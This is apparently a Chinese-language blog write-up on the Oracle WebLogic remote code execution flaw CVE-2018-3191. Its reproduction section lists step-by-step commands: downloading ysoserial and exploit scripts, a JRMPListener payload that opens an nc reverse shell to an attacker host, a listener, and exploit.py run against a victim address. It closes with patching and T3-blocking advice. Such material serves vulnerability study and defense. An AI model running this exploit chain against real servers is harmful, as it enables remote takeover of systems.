0x00 簡介
北京時間10月17日,Oracle官方發布的10月關鍵補充更新CPU(重要補丁更新)中修復了一個高危的WebLogic遠程代碼執行漏洞(CVE-2018-3191)。該漏洞允許未經身份驗證的攻擊者通過T3協議網絡訪問並破壞易受攻擊的WebLogic Server,成功的漏洞利用可導致WebLogic Server被攻擊者接管,從而造成遠程代碼執行。
0x01 漏洞復現
目標weblogci服務器已開放了T3服務,該服務器是部署在linux下,可以用https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-262進行在 docker下部署測試環境。
1.在JRMPListener主機(公網上的一台主機,ubunut系統,IP地址為:149.28.*.85)上運行以下命令:
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
如:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 149.28.*.85 5555'
//注意command目前只有nc反彈成功,bash反彈被轉義了,本地監聽1099端口,執行的命令是向weblogic服務器發送nc反彈命令的poc。
2.同時在JRMPListener主機另開一個命令窗口進行監聽nc端口,命令如下:
nc -lvvp 5555
3.在本地的windows系統攻擊者主機上運行此腳本:
weblogic-spring-jndi-12.2.1.3.jar 對於weblogic:
12.2.1.3
weblogic-spring-jndi-10.3.6.0.jar 對於weblogic:
10.3.6.0
12.2.1.0
12.1.3.0
12.2.1.1
wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-10.3.6.0.jar wget https://github.com/pyn3rd/CVE-2018-3191/blob/master/weblogic-spring-jndi-12.2.1.3.jar wget https://raw.githubusercontent.com/Libraggbond/CVE-2018-3191/master/exploit.py python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient] python exploit.py 66.42.*.195 7001 weblogic-spring-jndi-10.3.6.0.jar 149.28.146.85 1099 //這里的66.42.*.195是weblogc服務器,7001為weblogic服務器端口;149.28.*.85為JRMPListener主機,主機的監聽端口為1099
最終可以看到反彈的shell:
0x02 漏洞修復
1.Oracle官方已經在10月關鍵補丁更新CPU(重要補丁更新)中修復了該漏洞,強烈建議受影響的用戶盡快升級更新進行防護。
https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html#AppendixFMW
2.禁止T3協議
0x03 參考鏈接
https://mp.weixin.qq.com/s/ebKHjpbQcszAy_vPocW0Sg
https://github.com/Libraggbond/CVE-2018-3191